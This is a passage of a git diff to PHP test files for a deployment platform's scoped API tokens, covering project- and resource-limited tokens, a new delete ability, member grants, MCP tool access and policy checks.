$destination, string $name): Application +{ + return Application::factory()->create([ + 'name' => $name, + 'environment_id' => $environment->id, + 'destination_id' => $destination->id, + 'destination_type' => $destination->getMorphClass(), + ]); +} + +/** + * @param list|null $scopes + */ +function scopedTokenTestToken(User $user, Team $team, array $abilities, ?array $scopes): string +{ + $token = $user->createToken('scoped-test', $abilities, null, $team->id); + $token->accessToken->forceFill(['scopes' => $scopes])->save(); + + return $token->plainTextToken; +} + +function scopedTokenTestMember(Team $team, ?array $access): User +{ + $member = User::factory()->create(); + $team->members()->attach($member->id, ['role' => 'member', 'access' => $access === null ? null : json_encode($access)]); + + return $member; +} + +function scopedTokenTestApi(string $token, string $method, string $uri, array $data = []) +{ + app('auth')->forgetGuards(); + + return test()->withHeaders(['Authorization' => 'Bearer '.$token])->json($method, $uri, $data); +} + +function scopedTokenTestMcp(string $token, string $method, array $params = []) +{ + app('auth')->forgetGuards(); + + return test()->withHeaders([ + 'Authorization' => 'Bearer '.$token, + 'Accept' => 'application/json, text/event-stream', + ])->postJson('/mcp', ['jsonrpc' => '2.0', 'id' => 1, 'method' => $method, 'params' => (object) $params]); +} + +describe('admin token scoped to one project', function () { + beforeEach(function () { + $this->token = scopedTokenTestToken($this->admin, $this->team, ['read', 'write'], [['scope' => 'project', 'uuid' => $this->shop->uuid]]); + }); + + test('lists only the applications and resources of the project', function () { + expect(scopedTokenTestApi($this->token, 'GET', '/api/v1/applications')->assertOk()->json('*.name')) + ->toEqualCanonicalizing(['shop-api', 'shop-worker']) + ->and(scopedTokenTestApi($this->token, 'GET', '/api/v1/resources')->assertOk()->json('*.name')) + ->toEqualCanonicalizing(['shop-api', 'shop-worker']) + ->and(scopedTokenTestApi($this->token, 'GET', '/api/v1/projects')->assertOk()->json('*.name')) + ->toBe(['shop']); + }); + + test('does not find an application in another project', function () { + scopedTokenTestApi($this->token, 'GET', "/api/v1/applications/{$this->blogWeb->uuid}")->assertNotFound(); + scopedTokenTestApi($this->token, 'GET', "/api/v1/projects/{$this->blog->uuid}")->assertNotFound(); + }); + + test('cannot use team-level endpoints or create projects', function () { + scopedTokenTestApi($this->token, 'GET', '/api/v1/servers') + ->assertForbidden() + ->assertExactJson(['message' => 'This API token is limited to selected projects, environments, or resources, so it cannot use this endpoint.']); + scopedTokenTestApi($this->token, 'GET', '/api/v1/security/keys')->assertForbidden(); + scopedTokenTestApi($this->token, 'GET', '/api/v1/team')->assertForbidden(); + scopedTokenTestApi($this->token, 'POST', '/api/v1/projects', ['name' => 'new'])->assertForbidden(); + + expect(Project::query()->where('name', 'new')->exists())->toBeFalse(); + }); + + test('lists only open deployments of the project', function () { + foreach ([$this->shopApi, $this->blogWeb] as $application) { + ApplicationDeploymentQueue::create([ + 'application_id' => (string) $application->id, + 'deployment_uuid' => 'deploy-'.$application->name, + 'server_id' => $this->server->id, + 'status' => 'queued', + ]); + } + + expect(scopedTokenTestApi($this->token, 'GET', '/api/v1/deployments')->assertOk()->json('*.deployment_uuid')) + ->toBe(['deploy-shop-api']); + scopedTokenTestApi($this->token, 'GET', '/api/v1/deployments/deploy-blog-web')->assertNotFound(); + }); + + test('can create an application in the project', function () { + scopedTokenTestApi($this->token, 'POST', '/api/v1/applications/dockerimage', [ + 'project_uuid' => $this->shop->uuid, + 'environment_uuid' => $this->shopProduction->uuid, + 'server_uuid' => $this->server->uuid, + 'docker_registry_image_name' => 'nginx', + 'ports_exposes' => '80', + ])->assertCreated(); + + expect($this->shopProduction->applications()->count())->toBe(3); + }); +}); + +describe('token scoped to one resource', function () { + test('deploys the resource with the deploy ability', function () { + $token = scopedTokenTestToken($this->admin, $this->team, ['deploy'], [['scope' => 'resource', 'uuid' => $this->shopApi->uuid]]); + + scopedTokenTestApi($token, 'POST', "/api/v1/deploy?uuid={$this->shopApi->uuid}") + ->assertOk() + ->assertJsonPath('deployments.0.resource_uuid', $this->shopApi->uuid); + scopedTokenTestApi($token, 'POST', "/api/v1/deploy?uuid={$this->shopWorker->uuid}")->assertNotFound(); + + expect(ApplicationDeploymentQueue::query()->pluck('application_id')->all())->toBe([(string) $this->shopApi->id]); + Queue::assertPushed(ApplicationDeploymentJob::class); + }); + + test('cannot create an application in the environment of the resource', function () { + $token = scopedTokenTestToken($this->admin, $this->team, ['read', 'write'], [['scope' => 'resource', 'uuid' => $this->shopApi->uuid]]); + + scopedTokenTestApi($token, 'POST', '/api/v1/applications/dockerimage', [ + 'project_uuid' => $this->shop->uuid, + 'environment_uuid' => $this->shopProduction->uuid, + 'server_uuid' => $this->server->uuid, + 'docker_registry_image_name' => 'nginx', + 'ports_exposes' => '80', + ])->assertForbidden(); + + expect(Application::withoutGlobalScope(VisibleThroughAccessGrants::class)->where('environment_id', $this->shopProduction->id)->count())->toBe(2); + }); +}); + +describe('delete ability', function () { + test('a write token without delete cannot delete an application', function () { + $token = scopedTokenTestToken($this->admin, $this->team, ['read', 'write'], null); + + scopedTokenTestApi($token, 'DELETE', "/api/v1/applications/{$this->shopApi->uuid}") + ->assertForbidden() + ->assertExactJson(['message' => 'Missing required permissions: delete']); + + expect(Application::query()->whereKey($this->shopApi->id)->exists())->toBeTrue(); + }); + + test('a token with delete can delete an application', function () { + $token = scopedTokenTestToken($this->admin, $this->team, ['read', 'write', 'delete'], null); + + scopedTokenTestApi($token, 'DELETE', "/api/v1/applications/{$this->shopApi->uuid}")->assertOk(); + + expect(Application::query()->whereKey($this->shopApi->id)->exists())->toBeFalse(); + }); +}); + +describe('member tokens', function () { + test('a legacy member can use a read token but not a write token', function () { + $member = scopedTokenTestMember($this->team, null); + + expect(scopedTokenTestApi(scopedTokenTestToken($member, $this->team, ['read'], null), 'GET', '/api/v1/applications')->assertOk()->json('*.name')) + ->toEqualCanonicalizing(['shop-api', 'shop-worker', 'blog-web']); + scopedTokenTestApi(scopedTokenTestToken($member, $this->team, ['read', 'write'], null), 'GET', '/api/v1/applications') + ->assertForbidden() + ->assertExactJson(['message' => 'This API token has more access than you have in this team. Revoke it and create a new token.']); + }); + + test('a member with a project grant can use a write token limited to that project', function () { + $member = scopedTokenTestMember($this->team, [['scope' => 'project', 'uuid' => $this->shop->uuid, 'levels' => ['write', 'deploy']]]); + $token = scopedTokenTestToken($member, $this->team, ['read', 'write'], [['scope' => 'project', 'uuid' => $this->shop->uuid]]); + + scopedTokenTestApi($token, 'PATCH', "/api/v1/applications/{$this->shopApi->uuid}", ['name' => 'renamed'])->assertOk(); + scopedTokenTestApi($token, 'PATCH', "/api/v1/applications/{$this->blogWeb->uuid}", ['name' => 'renamed'])->assertNotFound(); + + expect($this->shopApi->fresh()->name)->toBe('renamed') + ->and($this->blogWeb->fresh()->name)->toBe('blog-web'); + }); + + test('a member with a project grant cannot use a team-wide write token', function () { + $member = scopedTokenTestMember($this->team, [['scope' => 'project', 'uuid' => $this->shop->uuid, 'levels' => ['write', 'deploy']]]); + + scopedTokenTestApi(scopedTokenTestToken($member, $this->team, ['read', 'write'], null), 'GET', '/api/v1/applications')->assertForbidden(); + scopedTokenTestApi(scopedTokenTestToken($member, $this->team, ['delete'], [['scope' => 'project', 'uuid' => $this->shop->uuid]]), 'GET', '/api/v1/applications')->assertForbidden(); + }); + + test('a member with a write grant can create project and environment shared variables', function () { + $member = scopedTokenTestMember($this->team, [['scope' => 'project', 'uuid' => $this->shop->uuid, 'levels' => ['write']]]); + $token = scopedTokenTestToken($member, $this->team, ['read', 'write'], [['scope' => 'project', 'uuid' => $this->shop->uuid]]); + + scopedTokenTestApi($token, 'POST', "/api/v1/projects/{$this->shop->uuid}/envs", ['key' => 'PROJECT_KEY', 'value' => 'v'])->assertCreated(); + scopedTokenTestApi($token, 'POST', "/api/v1/projects/{$this->shop->uuid}/environments/{$this->shopProduction->uuid}/envs", ['key' => 'ENVIRONMENT_KEY', 'value' => 'v'])->assertCreated(); + scopedTokenTestApi($token, 'POST', "/api/v1/projects/{$this->blog->uuid}/envs", ['key' => 'OTHER_KEY', 'value' => 'v'])->assertNotFound(); + + expect(SharedEnvironmentVariable::query()->whereIn('key', ['PROJECT_KEY', 'ENVIRONMENT_KEY', 'OTHER_KEY'])->pluck('key')->all())->toEqualCanonicalizing(['PROJECT_KEY', 'ENVIRONMENT_KEY']); + }); + + test('a member with a read grant cannot create project or environment shared variables', function () { + $member = scopedTokenTestMember($this->team, [['scope' => 'project', 'uuid' => $this->shop->uuid, 'levels' => ['read']]]); + $token = scopedTokenTestToken($member, $this->team, ['read'], [['scope' => 'project', 'uuid' => $this->shop->uuid]]); + $writeToken = scopedTokenTestToken($member, $this->team, ['read', 'write'], [['scope' => 'project', 'uuid' => $this->shop->uuid]]); + + foreach ([$token, $writeToken] as $candidate) { + scopedTokenTestApi($candidate, 'POST', "/api/v1/projects/{$this->shop->uuid}/envs", ['key' => 'PROJECT_KEY', 'value' => 'v'])->assertForbidden(); + scopedTokenTestApi($candidate, 'POST', "/api/v1/projects/{$this->shop->uuid}/environments/{$this->shopProduction->uuid}/envs", ['key' => 'ENVIRONMENT_KEY', 'value' => 'v'])->assertForbidden(); + } + + expect(SharedEnvironmentVariable::query()->whereIn('key', ['PROJECT_KEY', 'ENVIRONMENT_KEY'])->exists())->toBeFalse(); + }); +}); + +describe('mcp', function () { + test('a scoped token lists only scoped applications and does not get team-level tools', function () { + $token = scopedTokenTestToken($this->admin, $this->team, ['read'], [['scope' => 'project', 'uuid' => $this->shop->uuid]]); + + $listed = json_decode((string) scopedTokenTestMcp($token, 'tools/call', ['name' => 'list_applications', 'arguments' => (object) []])->json('result.content.0.text'), true); + $tools = scopedTokenTestMcp($token, 'tools/list')->json('result.tools.*.name'); + + expect(collect($listed['data'])->pluck('name')->all())->toEqualCanonicalizing(['shop-api', 'shop-worker']) + ->and($tools)->toContain('list_applications') + ->and($tools)->not->toContain('list_servers') + ->and($tools)->not->toContain('manage_private_key'); + expect(scopedTokenTestMcp($token, 'tools/call', ['name' => 'list_servers', 'arguments' => (object) []])->json('error'))->not->toBeNull(); + }); + + test('a team-wide token still gets team-level tools', function () { + $tools = scopedTokenTestMcp(scopedTokenTestToken($this->admin, $this->team, ['read'], null), 'tools/list')->json('result.tools.*.name'); + + expect($tools)->toContain('list_servers'); + }); +}); + +describe('token form', function () { + beforeEach(function () { + session(['currentTeam' => $this->team]); + }); + + test('creates a token limited to the selected project', function () { + $this->actingAs($this->admin); + + Livewire::test(ApiTokens::class) + ->set('description', 'shop deploys') + ->set('permissions', ['deploy']) + ->set('scopeMode', 'selected') + ->set('selectedScopes', ["project:{$this->shop->uuid}"]) + ->call('addNewToken') + ->assertHasNoErrors() + ->assertNotDispatched('error'); + + $token = PersonalAccessToken::query()->sole(); + expect($token->abilities)->toBe(['deploy']) + ->and($token->scopes)->toBe([['scope' => 'project', 'uuid' => $this->shop->uuid]]) + ->and((int) $token->team_id)->toBe($this->team->id); + }); + + test('rejects a scope from another team', function () { + $otherTeam = Team::factory()->create(); + $otherProject = Project::factory()->create(['team_id' => $otherTeam->id]); + $this->actingAs($this->admin); + + Livewire::test(ApiTokens::class) + ->set('description', 'foreign') + ->set('permissions', ['read']) + ->set('scopeMode', 'selected') + ->set('selectedScopes', ["project:{$otherProject->uuid}"]) + ->call('addNewToken') + ->assertDispatched('error'); + + expect(PersonalAccessToken::query()->count())->toBe(0); + }); + + test('a member can create a token only within their grants', function () { + $member = scopedTokenTestMember($this->team, [['scope' => 'project', 'uuid' => $this->shop->uuid, 'levels' => ['write']]]); + $this->actingAs($member); + + $form = Livewire::test(ApiTokens::class)->assertSet('scopeMode', 'selected'); + expect(collect($form->instance()->scopeOptions())->pluck('value')->filter(fn ($value) => str_starts_with($value, 'project:'))->values()->all()) + ->toBe(["project:{$this->shop->uuid}"]); + + $form->set('description', 'too wide') + ->set('permissions', ['write']) + ->set('scopeMode', 'team') + ->call('addNewToken') + ->assertDispatched('error'); + $form->set('description', 'blog') + ->set('scopeMode', 'selected') + ->set('selectedScopes', ["project:{$this->blog->uuid}"]) + ->call('addNewToken') + ->assertDispatched('error'); + $form->set('description', 'shop') + ->set('selectedScopes', ["project:{$this->shop->uuid}"]) + ->call('addNewToken'); + + expect($member->tokens()->pluck('name')->all())->toBe(['shop']); + }); +}); diff --git a/tests/Feature/Api/ServerDeleteFromProviderApiTest.php b/tests/Feature/Api/ServerDeleteFromProviderApiTest.php index 190b759488..5b974ef774 100644 --- a/tests/Feature/Api/ServerDeleteFromProviderApiTest.php +++ b/tests/Feature/Api/ServerDeleteFromProviderApiTest.php @@ -20,7 +20,7 @@ beforeEach(function () { $this->team->members()->attach($this->user->id, ['role' => 'owner']); session(['currentTeam' => $this->team]); - $newToken = $this->user->createToken('write-token', ['write']); + $newToken = $this->user->createToken('write-token', ['write', 'delete']); $newToken->accessToken->forceFill(['team_id' => $this->team->id])->save(); $this->token = $newToken->plainTextToken; }); diff --git a/tests/Feature/Api/ServerDockerRegistriesApiTest.php b/tests/Feature/Api/ServerDockerRegistriesApiTest.php index 7693387cd4..ff6226147d 100644 --- a/tests/Feature/Api/ServerDockerRegistriesApiTest.php +++ b/tests/Feature/Api/ServerDockerRegistriesApiTest.php @@ -42,7 +42,7 @@ beforeEach(function () { $this->server->settings->update(['is_reachable' => true, 'is_usable' => true, 'force_disabled' => false]); $this->server->refresh(); - $this->writeToken = serverRegistriesApiToken($this->user, $this->team, ['read', 'write']); + $this->writeToken = serverRegistriesApiToken($this->user, $this->team, ['read', 'write', 'delete']); $this->sensitiveToken = serverRegistriesApiToken($this->user, $this->team, ['read', 'read:sensitive']); }); diff --git a/tests/Feature/Api/ServiceDeleteMessageApiTest.php b/tests/Feature/Api/ServiceDeleteMessageApiTest.php index 6cc34f4ffd..fdf83e8947 100644 --- a/tests/Feature/Api/ServiceDeleteMessageApiTest.php +++ b/tests/Feature/Api/ServiceDeleteMessageApiTest.php @@ -24,7 +24,7 @@ beforeEach(function () { $this->user = User::factory()->create(); $this->team->members()->attach($this->user->id, ['role' => 'owner']); session(['currentTeam' => $this->team]); - $token = $this->user->createToken('service-delete-message', ['write']); + $token = $this->user->createToken('service-delete-message', ['write', 'delete']); $token->accessToken->forceFill(['team_id' => $this->team->id])->save(); $this->bearerToken = $token->plainTextToken; diff --git a/tests/Feature/ApplicationDomainsTest.php b/tests/Feature/ApplicationDomainsTest.php index e157269ef8..97be266ad0 100644 --- a/tests/Feature/ApplicationDomainsTest.php +++ b/tests/Feature/ApplicationDomainsTest.php @@ -2099,6 +2099,16 @@ it('shows the compose service name in the domain conflict modal', function () { expect($html)->toContain('(application: web)'); }); +it('does not link a hidden resource in the domain conflict modal', function () { + $html = Blade::render( + '', + ['conflicts' => [hiddenDomainConflict('https://hidden-taken.example.com', 'application')]], + ); + + expect($html)->toContain('another resource') + ->not->toContain('href=""'); +}); + it('checks each domain configured for one docker compose service', function () { Application::factory()->create([ 'uuid' => (string) Str::uuid(), diff --git a/tests/Feature/Authorization/LegacyMemberTokenTest.php b/tests/Feature/Authorization/LegacyMemberTokenTest.php index c51f827ad3..9ae077c564 100644 --- a/tests/Feature/Authorization/LegacyMemberTokenTest.php +++ b/tests/Feature/Authorization/LegacyMemberTokenTest.php @@ -29,8 +29,8 @@ function apiRequest($test, string $token, string $method = 'get', string $url = } /** - * The api.token.team middleware rejects elevated abilities on member tokens - * before ApiAbility runs, so REST clients get its generic role message. + * The api.token.team middleware rejects member tokens with more access than the member has + * before ApiAbility runs. */ describe('member with legacy elevated token is rejected', function () { test('member with legacy elevated token gets 403', function (array $abilities) { @@ -39,7 +39,7 @@ describe('member with legacy elevated token is rejected', function () { $response = apiRequest($this, $token->plainTextToken); $response->assertStatus(403); - $response->assertExactJson(['message' => 'Missing required team role.']); + $response->assertExactJson(['message' => 'This API token has more access than you have in this team. Revoke it and create a new token.']); })->with([ 'write' => [['read', 'write']], 'deploy' => [['read', 'deploy']], @@ -55,7 +55,7 @@ describe('member with legacy elevated token is rejected', function () { $response = apiRequest($this, $token->plainTextToken, 'patch', '/api/v1/team'); $response->assertStatus(403); - $response->assertExactJson(['message' => 'Missing required team role.']); + $response->assertExactJson(['message' => 'This API token has more access than you have in this team. Revoke it and create a new token.']); }); }); diff --git a/tests/Feature/Mcp/McpApplicationToolsTest.php b/tests/Feature/Mcp/McpApplicationToolsTest.php index 00c4e4d6dc..eb03a2ca0c 100644 --- a/tests/Feature/Mcp/McpApplicationToolsTest.php +++ b/tests/Feature/Mcp/McpApplicationToolsTest.php @@ -72,7 +72,7 @@ function mcpAppCreateApplication(Environment $environment, StandaloneDocker $des return $application; } -function mcpAppToken(User $user, array $abilities = ['write']): string +function mcpAppToken(User $user, array $abilities = ['write', 'delete']): string { return $user->createToken('mcp-app', $abilities)->plainTextToken; } @@ -406,7 +406,7 @@ test('manage_application rejects read-only and member tokens', function () { // manage_preview and get_application_preview test('manage_preview creates, updates and deletes a preview of the token team', function () { - $writeToken = mcpAppToken($this->user, ['write']); + $writeToken = mcpAppToken($this->user, ['write', 'delete']); $deployToken = mcpAppToken($this->user, ['deploy']); $writeOnly = mcpAppCall($writeToken, 'manage_preview', ['action' => 'create', 'uuid' => $this->application->uuid, 'data' => ['pull_request_id' => 7, 'git_type' => 'github', 'instant_deploy' => false]]); diff --git a/tests/Feature/Mcp/McpDataToolsTest.php b/tests/Feature/Mcp/McpDataToolsTest.php index 6e14c17ff2..83779522bb 100644 --- a/tests/Feature/Mcp/McpDataToolsTest.php +++ b/tests/Feature/Mcp/McpDataToolsTest.php @@ -102,7 +102,7 @@ function mcpDataSeedTeam(Team $team): array ]; } -function mcpDataToken(User $user, array $abilities = ['write']): string +function mcpDataToken(User $user, array $abilities = ['write', 'delete']): string { return $user->createToken('mcp-data', $abilities)->plainTextToken; } diff --git a/tests/Feature/Mcp/McpOperationsToolsTest.php b/tests/Feature/Mcp/McpOperationsToolsTest.php index 193639dfe9..0c8eb0c23f 100644 --- a/tests/Feature/Mcp/McpOperationsToolsTest.php +++ b/tests/Feature/Mcp/McpOperationsToolsTest.php @@ -116,7 +116,7 @@ function mcpOpsSeedTeam(Team $team): array return compact('server', 'destination', 'project', 'environment', 'application', 'database', 'service', 'serviceApplication', 'serviceDatabase', 'volume', 's3'); } -function mcpOpsToken(User $user, array $abilities = ['read', 'write']): string +function mcpOpsToken(User $user, array $abilities = ['read', 'write', 'delete']): string { return $user->createToken('mcp-ops', $abilities)->plainTextToken; } diff --git a/tests/Feature/Mcp/McpReadToolsTest.php b/tests/Feature/Mcp/McpReadToolsTest.php index 155941ffd7..c24f58488e 100644 --- a/tests/Feature/Mcp/McpReadToolsTest.php +++ b/tests/Feature/Mcp/McpReadToolsTest.php @@ -1634,7 +1634,7 @@ test('team members cannot retrieve logs with sensitive read ability', function ( // Elevated member tokens are rejected as JSON-RPC errors (HTTP 200) so MCP clients can parse them. $response->assertOk(); expect($response->json('error.message') ?? $response->json('result.content.0.text') ?? '') - ->toMatch('/team role|Missing required/i'); + ->toMatch('/more access than you have/'); }); test('get_logs returns structured next_tools when application is not running', function () { @@ -1811,7 +1811,7 @@ test('team member with deploy ability cannot call lifecycle tools', function () $response->assertOk(); expect($response->json('jsonrpc'))->toBe('2.0'); expect($response->json('error.message') ?? $response->json('result.content.0.text') ?? '') - ->toMatch('/team role|Missing required/i'); + ->toMatch('/more access than you have/'); }); test('control start with deploy ability queues application deployment', function () { diff --git a/tests/Feature/Mcp/McpServerToolsTest.php b/tests/Feature/Mcp/McpServerToolsTest.php index ca962a5391..db28413866 100644 --- a/tests/Feature/Mcp/McpServerToolsTest.php +++ b/tests/Feature/Mcp/McpServerToolsTest.php @@ -108,7 +108,7 @@ afterEach(function () { Server::flushIdentityMap(); }); -function mcpSrvToken(User $user, array $abilities = ['read', 'write']): string +function mcpSrvToken(User $user, array $abilities = ['read', 'write', 'delete']): string { return $user->createToken('mcp-srv', $abilities)->plainTextToken; } @@ -205,7 +205,7 @@ test('server group write actions reject member tokens', function (string $tool, $response = mcpSrvCall(mcpSrvToken($member, ['read', 'write']), $tool, $arguments + ['confirm' => true]); expect($response->json('result'))->toBeNull() - ->and($response->json('error.message'))->toBe('Missing required team role.'); + ->and($response->json('error.message'))->toBe('This API token has more access than you have in this team. Revoke it and create a new token.'); })->with([ 'manage_server update' => ['manage_server', ['action' => 'update', 'data' => ['name' => 'x']]], 'manage_private_key create' => ['manage_private_key', ['action' => 'create']], @@ -602,7 +602,7 @@ test('manage_git_source cannot change or delete GitHub apps of another team, inc ])->with(['update', 'delete']); test('manage_git_source creates, updates, and deletes a GitLab app without returning secrets', function () { - $token = mcpSrvToken($this->user, ['read', 'write']); + $token = mcpSrvToken($this->user, ['read', 'write', 'delete']); $create = mcpSrvCall($token, 'manage_git_source', ['action' => 'create', 'resource' => 'gitlab', 'data' => [ 'name' => 'mcp-gitlab', 'html_url' => 'https://gitlab.com', 'client_secret' => 'GL_CLIENT_SECRET_VALUE', 'webhook_token' => 'GL_WEBHOOK_TOKEN_VALUE', diff --git a/tests/Feature/Mcp/McpWriteToolsTest.php b/tests/Feature/Mcp/McpWriteToolsTest.php index 3db6c4ff08..02ce354f75 100644 --- a/tests/Feature/Mcp/McpWriteToolsTest.php +++ b/tests/Feature/Mcp/McpWriteToolsTest.php @@ -28,7 +28,7 @@ beforeEach(function () { session(['currentTeam' => $this->team]); }); -function mcpWriteToken(User $user, array $abilities = ['write']): string +function mcpWriteToken(User $user, array $abilities = ['write', 'delete']): string { return $user->createToken('mcp-write', $abilities)->plainTextToken; } diff --git a/tests/Feature/ServerDeleteFailsQueuedDeploymentsTest.php b/tests/Feature/ServerDeleteFailsQueuedDeploymentsTest.php index 16c5b49786..d6ace16946 100644 --- a/tests/Feature/ServerDeleteFailsQueuedDeploymentsTest.php +++ b/tests/Feature/ServerDeleteFailsQueuedDeploymentsTest.php @@ -59,7 +59,7 @@ afterEach(function () { test('deleting a server fails its queued deployments', function (string $path) { if ($path === 'api') { - $token = $this->user->createToken('server-delete', ['write'])->plainTextToken; + $token = $this->user->createToken('server-delete', ['write', 'delete'])->plainTextToken; $this->withHeaders(['Authorization' => 'Bearer '.$token]) ->deleteJson("/api/v1/servers/{$this->server->uuid}?force=true") ->assertOk(); diff --git a/tests/Unit/Policies/ApiTokenPolicyTest.php b/tests/Unit/Policies/ApiTokenPolicyTest.php index 055297b3cd..52e2ee67b7 100644 --- a/tests/Unit/Policies/ApiTokenPolicyTest.php +++ b/tests/Unit/Policies/ApiTokenPolicyTest.php @@ -159,6 +159,7 @@ it('denies member from using root permissions', function () { $user = Mockery::mock(User::class)->makePartial(); $user->shouldReceive('isAdmin')->andReturn(false); $user->shouldReceive('isOwner')->andReturn(false); + $user->shouldReceive('currentTeam')->andReturnNull(); $policy = new ApiTokenPolicy; expect($policy->useRootPermissions($user))->toBeFalse(); @@ -176,6 +177,7 @@ it('denies member from using write permissions', function () { $user = Mockery::mock(User::class)->makePartial(); $user->shouldReceive('isAdmin')->andReturn(false); $user->shouldReceive('isOwner')->andReturn(false); + $user->shouldReceive('currentTeam')->andReturnNull(); $policy = new ApiTokenPolicy; expect($policy->useWritePermissions($user))->toBeFalse(); @@ -202,6 +204,7 @@ it('denies member from using deploy permissions', function () { $user = Mockery::mock(User::class)->makePartial(); $user->shouldReceive('isAdmin')->andReturn(false); $user->shouldReceive('isOwner')->andReturn(false); + $user->shouldReceive('currentTeam')->andReturnNull(); $policy = new ApiTokenPolicy; expect($policy->useDeployPermissions($user))->toBeFalse(); @@ -228,6 +231,7 @@ it('denies member from using sensitive permissions', function () { $user = Mockery::mock(User::class)->makePartial(); $user->shouldReceive('isAdmin')->andReturn(false); $user->shouldReceive('isOwner')->andReturn(false); + $user->shouldReceive('currentTeam')->andReturnNull(); $policy = new ApiTokenPolicy; expect($policy->useSensitivePermissions($user))->toBeFalse(); diff --git a/tests/Unit/Policies/ApplicationPolicyTest.php b/tests/Unit/Policies/ApplicationPolicyTest.php index 04d37bbc99..25a1af3957 100644 --- a/tests/Unit/Policies/ApplicationPolicyTest.php +++ b/tests/Unit/Policies/ApplicationPolicyTest.php @@ -1,8 +1,16 @@ forgetInstance(AccessResolver::class); +}); it('allows any user to view any applications', function () { $user = Mockery::mock(User::class)->makePartial(); @@ -12,53 +20,45 @@ it('allows any user to view any applications', function () { }); it('allows team member to view their own team application', function () { - $teams = collect([ - (object) ['id' => 1], - ]); - $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams); - $application = Mockery::mock(Application::class)->makePartial(); - $application->shouldReceive('team')->andReturn((object) ['id' => 1]); + + $user->shouldReceive('canAccess')->with(AccessLevel::Read, $application)->andReturn(true); $policy = new ApplicationPolicy; expect($policy->view($user, $application))->toBeTrue(); }); it('denies non-member to view another team application', function () { - $teams = collect([ - (object) ['id' => 1], - ]); - $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams); - $application = Mockery::mock(Application::class)->makePartial(); - $application->shouldReceive('team')->andReturn((object) ['id' => 2]); + + $user->shouldReceive('canAccess')->with(AccessLevel::Read, $application)->andReturn(false); $policy = new ApplicationPolicy; expect($policy->view($user, $application))->toBeFalse(); }); it('denies view when application has no team', function () { - $teams = collect([ - (object) ['id' => 1], - ]); - $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams); - $application = Mockery::mock(Application::class)->makePartial(); $application->shouldReceive('team')->andReturn(null); + $user->shouldReceive('canAccess')->with(AccessLevel::Read, $application)->andReturn(false); + $policy = new ApplicationPolicy; expect($policy->view($user, $application))->toBeFalse(); }); it('allows admin to create an application', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdmin')->andReturn(true); + $team = new Team; + $team->id = 1; + $user->shouldReceive('currentTeam')->andReturn($team); + + $resolver = Mockery::mock(AccessResolver::class); + $resolver->shouldReceive('allowsTeamWide')->with($user, AccessLevel::Write, 1)->andReturn(true); + Container::getInstance()->instance(AccessResolver::class, $resolver); $policy = new ApplicationPolicy; expect($policy->create($user))->toBeTrue(); @@ -66,7 +66,13 @@ it('allows admin to create an application', function () { it('denies member to create an application', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdmin')->andReturn(false); + $team = new Team; + $team->id = 1; + $user->shouldReceive('currentTeam')->andReturn($team); + + $resolver = Mockery::mock(AccessResolver::class); + $resolver->shouldReceive('allowsTeamWide')->with($user, AccessLevel::Write, 1)->andReturn(false); + Container::getInstance()->instance(AccessResolver::class, $resolver); $policy = new ApplicationPolicy; expect($policy->create($user))->toBeFalse(); @@ -74,10 +80,9 @@ it('denies member to create an application', function () { it('allows team admin to update their own team application', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true); - $application = Mockery::mock(Application::class)->makePartial(); - $application->shouldReceive('team')->andReturn((object) ['id' => 1]); + + $user->shouldReceive('canAccess')->with(AccessLevel::Write, $application)->andReturn(true); $policy = new ApplicationPolicy; expect($policy->update($user, $application)->allowed())->toBeTrue(); @@ -85,10 +90,9 @@ it('allows team admin to update their own team application', function () { it('denies team member to update their own team application', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false); - $application = Mockery::mock(Application::class)->makePartial(); - $application->shouldReceive('team')->andReturn((object) ['id' => 1]); + + $user->shouldReceive('canAccess')->with(AccessLevel::Write, $application)->andReturn(false); $policy = new ApplicationPolicy; expect($policy->update($user, $application)->allowed())->toBeFalse(); @@ -100,16 +104,17 @@ it('denies update when application has no team', function () { $application = Mockery::mock(Application::class)->makePartial(); $application->shouldReceive('team')->andReturn(null); + $user->shouldReceive('canAccess')->with(AccessLevel::Write, $application)->andReturn(false); + $policy = new ApplicationPolicy; expect($policy->update($user, $application)->allowed())->toBeFalse(); }); it('allows team admin to delete their own team application', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true); - $application = Mockery::mock(Application::class)->makePartial(); - $application->shouldReceive('team')->andReturn((object) ['id' => 1]); + + $user->shouldReceive('canAccess')->with(AccessLevel::Delete, $application)->andReturn(true); $policy = new ApplicationPolicy; expect($policy->delete($user, $application))->toBeTrue(); @@ -117,10 +122,9 @@ it('allows team admin to delete their own team application', function () { it('denies team member to delete their own team application', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false); - $application = Mockery::mock(Application::class)->makePartial(); - $application->shouldReceive('team')->andReturn((object) ['id' => 1]); + + $user->shouldReceive('canAccess')->with(AccessLevel::Delete, $application)->andReturn(false); $policy = new ApplicationPolicy; expect($policy->delete($user, $application))->toBeFalse(); @@ -132,16 +136,17 @@ it('denies delete when application has no team', function () { $application = Mockery::mock(Application::class)->makePartial(); $application->shouldReceive('team')->andReturn(null); + $user->shouldReceive('canAccess')->with(AccessLevel::Delete, $application)->andReturn(false); + $policy = new ApplicationPolicy; expect($policy->delete($user, $application))->toBeFalse(); }); it('allows team admin to deploy their own team application', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true); - $application = Mockery::mock(Application::class)->makePartial(); - $application->shouldReceive('team')->andReturn((object) ['id' => 1]); + + $user->shouldReceive('canAccess')->with(AccessLevel::Deploy, $application)->andReturn(true); $policy = new ApplicationPolicy; expect($policy->deploy($user, $application))->toBeTrue(); @@ -149,10 +154,9 @@ it('allows team admin to deploy their own team application', function () { it('denies team member to deploy their own team application', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false); - $application = Mockery::mock(Application::class)->makePartial(); - 